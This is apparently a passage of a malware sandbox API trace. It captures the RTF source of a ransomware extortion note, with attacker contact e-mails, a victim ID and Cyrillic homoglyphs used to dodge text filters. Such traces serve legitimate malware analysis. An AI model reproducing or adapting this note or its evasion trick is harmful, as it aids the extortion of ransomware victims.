\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 